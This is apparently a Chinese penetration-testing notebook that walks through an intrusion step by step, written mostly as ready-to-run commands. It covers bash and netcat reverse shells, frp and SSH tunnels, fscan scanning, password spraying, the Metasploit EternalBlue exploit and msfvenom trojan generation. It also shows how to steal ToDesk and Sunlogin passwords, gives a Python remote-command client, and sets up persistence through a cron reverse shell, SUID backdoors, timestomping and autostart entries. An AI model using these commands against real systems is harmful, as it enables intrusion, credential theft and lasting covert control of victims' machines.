反弹Shell

反弹Shell就是将被控端的Shell终端反弹到我们的服务端从而实现远程控制他的Shell的效果~

这个反弹Shell的效果其实和我们的ssh远程连接差不多

Linux系统

在Linux系统中控制端需要下载nc工具

yum install nc
yum install glibc*

然后开启监听

nc -lvvp 55555

被控端如果没有nc的话就是使用

bash -i>& /dev/tcp/192.168.10.2/55555 0>&1
sh -i>& /dev/tcp/192.168.10.2/55555 0>&1

有nc工具的情况下被控端弹Shell是这样

nc 192.168.10.2 55555 -e /bin/bash 

Windows系统

win系统下的nc下载地址

https://eternallybored.org/misc/netcat/

nc64.exe 192.168.10.2 55555 -e cmd.exe
nc64.exe 192.168.10.2 55555 -e powershell.exe

控制端命令和Linux一致

隧道搭建

以外网的攻陷机作为跳板搭建隧道可以将攻击流量转发到内网

frp工具GitHub链接:https://github.com/fatedier/frp/releases/tag/v0.55.1

嗯~这个最新版的frp似乎并不是那么的好用,至少我不会用新版的。。

在攻陷机下载工具

  1. 直接使用webshell工具上传

  2. 使用文件上传点进行上传

  3. 使用服务器的python搭建一个临时的ftp服务

命令为

python -m http.server 1024

在shell中如果无法使用快捷指令ctrl + c关闭端口则需要使用以下方法进行关闭

ps aux | grep http.server
kill 进程

frps (frp server服务端)

搭建一个代理服务端,接受frpc转发的路由

frpc(frpc client客户端)

将本地的路 由转发到frps(服务端)

.ini (frp配置文件)

frpc.ini

客户端的配置文件

[common]
server_addr = 39.x.x.x      # 服务器的IP地址
server_port = 7000          # 服务器端口(不是面板端口)
​
[http]
type = tcp        # 默认tcp
local_ip = 127.0.0.1  # 要转发的IP地址
local_port = 80     # 要转发的端口
remote_port = 8080    # 转发到服务端的端口,本人初次端口使用6000不知道为什么浏览器访问不到改成8080才成功
frps.ini

服务端的配置文件

[common]
bind_port = 7000		# 监听端口
token = test@123.com

dashboard_port = 7001	# web面板端口
dashboard_user = test	# 用户名
dashboard_pwd = test	# 密码

frp的使用

服务器端

frps -c frps.ini

经过以上的配置你就会成功的把frpc中的local_port端口也就是攻陷机的端口转发到frps中也就是你的服务器的8080端口

socks5 隧道

在前面已经介绍了frp 的常规使用方法,但是通过这种方法所搭建出来的还不能算是隧道他只能算是一个端口映射,也就是说将这个内网中的某个端口映射到公网服务器上访问,但是还是不能等同于我们已经进入了这内网,所以接下来的隧道搭建要使用 socks5 来搭建

使用socks5隧道的话需要配置frpc.ini

[common]
server_addr = 10.10.10.1
server_port = 7000
token = test@123.com

[socks5]
type = tcp
plugin = socks5		
remote_port = 8081
plugin_user = test			# 登录账户名
plugin_passwd = test1234	# 密码
use_encryption = true
use_compression = true

socks隧道

优点:直接进入内网

缺点:不支持icmp协议

ssh 隧道

ssh隧道的安全性以及隐蔽性都要远远高于frp隧道,并且他的搭建步骤十分简单不需要服务器就可以进入对方的内网服务器。

但是有些硬性要求要满足才能使用

  1. 对方在公网上开放了ssh的端口

  2. 你知道他的真实公网IP

  3. 你知道他ssh的账号密码

满足以上条件才可以使用ssh隧道

命令如下

ssh -CfNg -D 本地端口 跳板机账号@跳板机IP		# 动态端口转发

-C: 压缩传输
-f: 将 ssh 转入后台
-N: 静默连接
-g: 允许远程主机连接本地用于端口转发
-D: 动态端口转发

windows 系统中执行ssh的隧道时进程往往需要自己手动关闭,关闭cmd窗口但ssh连接依旧会在后台保持。所以我们需要自己手动杀进程

tasklist | findstr ssh	# 寻找名字ssh的进程PID
taskkill /PID 15200 /F	# 杀死PID为15200的进程

在windows系统中如果使用cmd直接ssh隧道连接往往有的时候会自己掉线。所以我更推荐使用ssh隧道连接工具来进行连接

这里个人使用的是 shell 在官网下载好xshell之后打开新建连接

这个位置根据个人情况进行选择连接

image-20240407190027870

重点来了

这里点击 隧道

image-20240407190201137

这里选择 socks5/4 的代理类型

image-20240407190249412

这个时候的监听端口就写你本地想开到哪个端口就用哪个端口,我这里使用1234端口做示例

image-20240407190401501

点击确定之后再点击连接即可完成ssh隧道的连接

在浏览器中使用代理工具进行连接

  1. 类型选择socks5

  2. Hostname写你本地的IP地址127.0.0.1

  3. 端口就填你刚刚写的监听端口(我刚刚写的是1234所以这里也写1234)

image-20240407190710214

保存配置即可。至此隧道搭建成功

信息收集

网络信息

  1. 知道内网里面,大概有多少终端设备!

  2. 知道网络的拓扑情况!

  3. 通过工具去扫描~

  4. ping 通就代表是存活的!

  5. 网络扫描工具:fscan hping nci

fscan h #看帮助

fscan h ip地址 #默认使用所有模块进行扫描

fscan h 192.168.10.3/24 #扫描整个10网段

fscan h 192.168.10.3/24 np #不去探测存活,默认去扫描

top100的端口!

fscan h 192.168.10.3 np p 1-65535 #扫描所有端口!

-nopoc #不去做poc的验证
#fscan走隧道来做扫描(不落地)
#socks隧道!

fscan h 192.168.10.3/24 np socks5 用户名:密码@ip:端口
#socks不支持icmp协议!

内网的信息收集和web的一样都十分重要。他将决定了我们内网的攻击范围

如果当前主机的ip段扫不出内容! 直接扫192.168的B段!

fscan.exe h 192.168.1.1/16

172.0.0.1 - 172.30.255.255 #都是内网段!

10.0.0.1 - 10.255.255.255

Linux信息收集

ip a #查看网络信息

whoami #查看当前用户

uname a #查看当前系统信息

cat /etc/shadow #linux的hash密码

查看旁站,拿到旁站的信息!(帐号密码)

redis、mysql等服务的帐号密码

常见的密码规则: 单位名称+@+年份 tengxun@2023

windows信息收集

whoami #查看当前用户
ipconfig #查看网络信息
systeminfo #当前系统的版本,补丁,域环境

通过内存去抓取本机密码
浏览器帐号密码!
浏览器的历史记录!
运维人员!经常会把文档(包含帐号密码),放在桌面!
登录QQ、微信~
QQ、微信:发一个文件过来,这个文件会被自动接收~
文档(Word、Excel、PDF),图片(JPG、PNG、GIF)
存储数据的路径:

C\Users\用户名\Documents
*.pdf
*.doc
*.xls xlsx
*.png
*.jpg

内网密码喷洒

首先,先用扫描工具,扫描出当前内网有哪些

  1. ssh

  2. telnet

  3. smb

  4. rdp

  5. mysql

  6. redis....

需要做登录的服务。都是需要帐号和密码的!

做密码喷洒! 做爆破!

做出这种字典

tengxun@2022
Tengxun@2021
TengXun@2023
TX@2024

Msfconsole

Metasploit Framework(MSF)是一款开源安全漏洞检测/利用工具,附带数千个已知的软件漏洞,并保持持续更新。

msf安装

kali中有自带

脚本安装(ubuntu)

#!/bin/sh

print_pgp_key() {
  cat <<-EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----

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
2vTa24LE0J2DQg==
=Qa/n
-----END PGP PUBLIC KEY BLOCK-----
EOF
}

install_deb() {
  LIST_FILE=/etc/apt/sources.list.d/metasploit-framework.list
  PREF_FILE=/etc/apt/preferences.d/pin-metasploit.pref
  echo -n "Adding metasploit-framework to your repository list.."
  echo "deb $DOWNLOAD_URI/apt lucid main" > $LIST_FILE
  print_pgp_key | apt-key add -
  if [ ! -f $PREF_FILE ]; then
    mkdir -p /etc/apt/preferences.d/
    cat > $PREF_FILE <<EOF
Package: metasploit*
Pin: origin downloads.metasploit.com
Pin-Priority: 1000
EOF
  fi
  echo -n "Updating package cache.."
  apt-get update > /dev/null
  echo "OK"
  echo "Checking for and installing update.."
  apt-get install -y --allow-downgrades metasploit-framework
}

install_rpm() {
  echo "Checking for and installing update.."
  REPO_FILE=/etc/yum.repos.d/metasploit-framework.repo
  GPG_KEY_FILE=/etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
  echo -n "Adding metasploit-framework to your repository list.."

  cat > /etc/yum.repos.d/metasploit-framework.repo <<EOF
[metasploit]
name=Metasploit
baseurl=$DOWNLOAD_URI/rpm
gpgcheck=1
gpgkey=file://$GPG_KEY_FILE
enabled=1
EOF
  print_pgp_key > ${GPG_KEY_FILE}
  yum install -y metasploit-framework
}

install_suse() {
  echo "Checking for and installing update.."
  GPG_KEY_FILE_DIR=/etc/pki/rpm-gpg
  GPG_KEY_FILE=${GPG_KEY_FILE_DIR}/RPM-GPG-KEY-Metasploit
  echo -n "Adding metasploit-framework to your repository list.."
  if [ ! -d $GPG_KEY_FILE_DIR ]; then
    mkdir -p $GPG_KEY_FILE_DIR
  fi
  zypper ar  -f $DOWNLOAD_URI/rpm metasploit
  print_pgp_key > ${GPG_KEY_FILE}
  rpmkeys --import ${GPG_KEY_FILE}
  zypper install -y metasploit-framework
}

install_pkg()
{
  (
    cd ~/Downloads

    echo "Downloading package..."
    curl -O "$DOWNLOAD_URI/osx/metasploitframework-latest.pkg"

    echo "Checking signature..."

    if pkgutil --check-signature metasploitframework-latest.pkg; then
      echo "Installing package..."
      installer -pkg metasploitframework-latest.pkg -target /
    fi

    echo "Cleaning up..."
    rm -fv metasploitframework-latest.pkg
  )
}

DOWNLOAD_URI=http://downloads.metasploit.com/data/releases/metasploit-framework
PKGTYPE=unknown
ID=`id -u`

if [ -f /etc/redhat-release ] ; then
  PKGTYPE=rpm
elif [ -f /etc/system-release ] ; then
  # If /etc/system-release is present, this is likely a distro that uses RPM.
  PKGTYPE=rpm
else
  if uname -sv | grep 'Darwin' > /dev/null; then
    PKGTYPE=pkg
  elif [ -f /usr/bin/zypper ] ; then
    PKGTYPE=sus
  else
    PKGTYPE=deb
  fi
fi

if [ "$ID" -ne 0 ]; then
  if ! hash sudo 2>/dev/null; then
    echo "This script must be executed as the 'root' user or with sudo"
    exit 1
  else
    echo "Switching to root user to update the package"
    sudo -E $0 $@
    exit 0
  fi
fi

case $PKGTYPE in
  deb)
    install_deb
    ;;
  sus)
    install_suse
    ;;
  rpm)
    install_rpm
    ;;
  *)
    install_pkg
esac

简单的漏洞利用(MS17_010)

永恒之蓝:远程命令执行!(RCE漏洞)

msfconsole										    #进入框架
search  ms17_010                                    # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue        # 使用use进入模块
info     										    #使用info查看模块信息
show options
set payload windows/x64/meterpreter/reverse_tcp    	#设置攻击载荷
show options    									#查看模块需要配置的参数
set  RHOST  192.168.100.158    					    #设置参数
set target  1                                       #设置攻击win7
exploit / run     								    #攻击
后渗透阶段											#后渗透阶段
chcp 65001 #解决乱码
936 =GBK(显示中文用的)
437=MS-DOS的默认字符集
65001=UTF-8

模块

即相应漏洞的攻击模块

payload(攻击载荷)

针对不同系统攻击后要做的事情

generic/shell_reverse_tcp #获得shell>
windows/x64/meterpreter/reverse_tcp #获得meterpreter>

后渗透

Meterpreter命令

Meterpreter > ?
==========================================
核心命令:
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话(用于 http/https)
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       (重新)协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静,然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================

命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件(ls 的别名)
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi:网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性

meterpreter >

生成C2马

C2 全称为Command and Control,命令与控制。

生成WindowsC2马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe  

#-p 是载荷
#lhost是我们的主机ip
#lport是我们主机的用于监听的端口
#-f 木马类型
#-o 输出文件名
安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk  

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f  elf > shell.elf

Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho >  shell.macho

PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php

ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888  -f asp > shell.asp

ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888  -f  aspx > shell.aspx

JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f  raw > shell.jsp

Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f   raw > shell.sh

Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl

Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f   raw > shell.py

msf监听

msfconsole                              # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler               # 监听木马反弹过来的shell
msset payload windows/x64/meterpreter/reverse_tcp  
# 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;

set lhost 192.168.100.132               # 我们的kali本机ip
set lport 6666                          # 我们的kali本机端口
exploit                                 # 开始进行监听;

msf隧道

meterpreter >> route                #查看路由信息
meterpreter >> run autoroute -s ip  #将受陷机路由添加到msf路由表
meterpreter >> background           #退出会话

msf >> sessions             #查看会话
msf >> sessions -i 会话id    #进入会话

msf >> search socks         #搜索代理模块
msf >> run                  #开启代理
msf >> srvhost ip地址        #只允许谁代理?

远控

信息收集

tasklist   #进程信息

Todesk - todesk.exe
向日葵  - SunloginClient.exe 
TeamViewer - TeamViewer_Service.exe

ToDesk

默认安装路径

C:/Program Files (x86)/ToDesk/config.ini

ToDesk_Lite

https://dl.todesk.com/windows/ToDesk_Lite.exe

#利用powershell建立http连接下载exe

powershell -c Invoke-WebRequest -Uri "https://dl.todesk.com/windows/ToDesk_Lite.exe" -OutFile "todesk_lite.exe"

#打开todesk_lite.exe以后通过type读取默认路径的配置文件
type C:\ProgramData\ToDesk_Lite\config.ini

配置文件中
tempAuthPassEx为临时密码
authPassEx为安全密码

ps:Todesk_lite在每次连接完后,会自动重置连接密码

ToDesk静默安装

ToDesk_Setup.exe /S
#静默安装,所有选项均是默认的

type C:/Program Files (x86)/ToDesk/config.ini
#通过type读配置文件

内网Todesk进程

#通过执行 tasklist 查看当前系统是否有Todesk.exe进程
tasklist

#有的话执行下方语句,获取进程运行路径
wmic process where name="ToDesk.exe" get processid,executablepath,name

#接下来就是读取配置文件连接远控

type 

向日葵

最新版

向日葵强化了加密机制,将config中的信息写入到内存中

tasklist /v | findstr /i sunlogin
#查看向日葵进程信息

procdump64.exe -accepteula -ma 进程号
#通过procdump工具将指定内存号的内心信息dump下来
ps:进场号一般选当前用户的subloginClient.exe进程

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

然后将dump出来的内存数据放入winhex进行查找

在winhex中按住 ctrl+alt+x (查询十六进制数据)
查找下方数据
79616865692E323820633D636F6C6F725F65646974203E

比较新的版本

在向日葵v11.1.2.38529中,强化了加密机制,删除了配置文件config.ini中的fastcode(本机识别码)字段和encry_pwd(本机验证码)字段,而将这些敏感信息放到了注册表中,我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

老版本

配置文件

#安装版
C:\Program Files\Oray\SunLogin\SunloginClient\config.ini

#便携版
C:\ProgramData\Oray\SunloginClient\config.ini

密码解密工具

https://github.com/wafinfo/Sunflower_get_Password?ref=pythonrepo.com

GotoHttp

http://gotohttp.com/

Socket

import socket #自带的包

Server

import socket

# 定义服务器ip、端口
ip_ad = ('127.0.0.1', 9999)

# 创建socket对象
sk = socket.socket()

# 绑定ip端口
sk.bind(ip_ad)

# 开启监听
sk.listen()
print('服务器已经开启......')

# 等待接收客户端信息
conn, addr = sk.accept()
print('客户端地址:', addr)

while True:
    data = ''
    while True:
        # 等待接收客户端信息,接收到信息并非是字节格式,所以需要解码才能被正常识别【decode('utf-8')】
        cli_data = conn.recv(1024).decode('utf-8')
        data += cli_data
        if (':lalala' in cli_data):
            break
    
    print('接收到的客户端数据:', data)

    # 发送信息给客户端,发送的信息非字节格式,需要先转换格式【encode('utf-8'))】
    sen_data = input('输入要发送的内容:')
    conn.sendall(sen_data.encode('utf-8'))
    
    if sen_data == 'exit':
        break

# 断开连接
sk.close()

Client

import socket
import os

# 创建一个socket对象
sk = socket.socket()

# 连接服务器的IP地址和端口号
sk.connect(('127.0.0.1', 9999))

# 向服务器发送信息,需要先将信息转换成字节格式(使用encode('utf-8')),才能被服务器识别
sk.sendall('@ok:lalala'.encode('utf-8'))


# 进入无限循环,不断接收和处理来自服务器的信息
while True:
    # 接收来自服务器的信息,接收到的信息是字节形式,所以需要解码才能被正常识别
    ser_data = sk.recv(1024).decode('utf-8')
    print('接收到的服务端数据:', ser_data)
    # 如果接收到的信息不是'exit'
    if ser_data != 'exit':
        # 执行接收到的命令,并获取执行结果
        res = os.popen(ser_data).read()
        # 如果命令执行结果不为空
        if res:
            # 向服务器发送命令执行结果,需要先将结果转换成字节格式(使用encode('utf-8')),才能被服务器识别
            sk.sendall(res.encode('utf-8') + b'@ok:lalala')
        else:
            # 如果命令执行结果为空,向服务器发送'@no:lalala'通知
            sk.sendall('@no:lalala'.encode('utf-8'))
    else:
        # 如果接收到的信息为'exit',跳出循环
        break

# 断开与服务器的连接
sk.close()
# 退出程序
exit()

Plugin

# 定义一个函数,用于扫描指定IP地址上指定端口是否开放
def port_scan(ip, port):
    # 创建一个socket对象
    s_port = socket.socket()
    try:
        # 设置超时时间为0.5秒
        s_port.settimeout(0.5)
        # 连接到指定IP地址和端口号
        s_port.connect((str(ip), int(port)))
        # 如果连接成功,则返回True
        return True
    except:
        # 如果连接失败,则返回False
        return False

# 定义一个函数,用于检查指定IP地址是否可以ping通
def ip_scan(ip):
    # 调用系统命令执行ping操作,并将结果保存到变量res中
    res = os.popen(f"ping -n 1 {ip}").read()
    # 如果结果中包含"TTL"字符串,则表示ping通了,返回True
    if('TTL' in res):
        return True
    else:
        # 否则表示ping不通,返回False
        return False

权限

提权

Linux

SUID/SGID提权

什么是SUID?

SUID全称Set User ID,当小写字母s出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限

SGID :获得用户组的权限

find / -perm -u=s -type f 2>/dev/null  //查找suid文件

find / -perm -g=s -type f 2>/dev/null  //查找sgid文件

https://www.freebuf.com/articles/system/244627.html

https://gtfobins.github.io/

内核提权

收集信息:内核版本、系统版本

https://www.exploit-db.com/

searchsploit -t expname 

Windows

https://i.hacking8.com/tiquan

执行systeminfo查看打了哪些补丁

维权

Linux

隐藏文件

touch .shell.php

修改文件时间

touch -r index.php webshell.php
#将index.php的时间给webshell.php

touch -t 1401021042 webshell.php
#直接给时间戳

隐藏权限

chattr +i evil.php 锁定文件
lsattr  evil.php   属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php  删除文件

SUID后门马

chmod u+s /tmp/shell

SSH免密公钥

ssh-keygen -t rsa

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。

crontab定时任务

#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345  0>&1

将上面shell脚本创建并添加S权限

chmod +sx /etc/evil.sh

进入任务设置

crontab -e

##########
*/1 * * * * root /etc/evil.sh

https://www.runoob.com/w3cnote/linux-crontab-tasks.html

Windows

隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r D:\1.txt

进程迁移

msf:
migrate pid

cs:
进程列表 -> 注入

注册表自启动

regedit

# Run键 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

组策略

gpedit.msc

服务自启动

sc create "KeyName" binpath= "C:\2.bat"

sc description  KeyName "Just For Test"   //设置服务的描述字符串
sc config Keyname start= auto                //设置这个服务为自动启动
net start Keyname                         //启动服务

定时任务

创建一个名为test的定时任务,执行的文件是test.bat,执行的频率是每天的9点

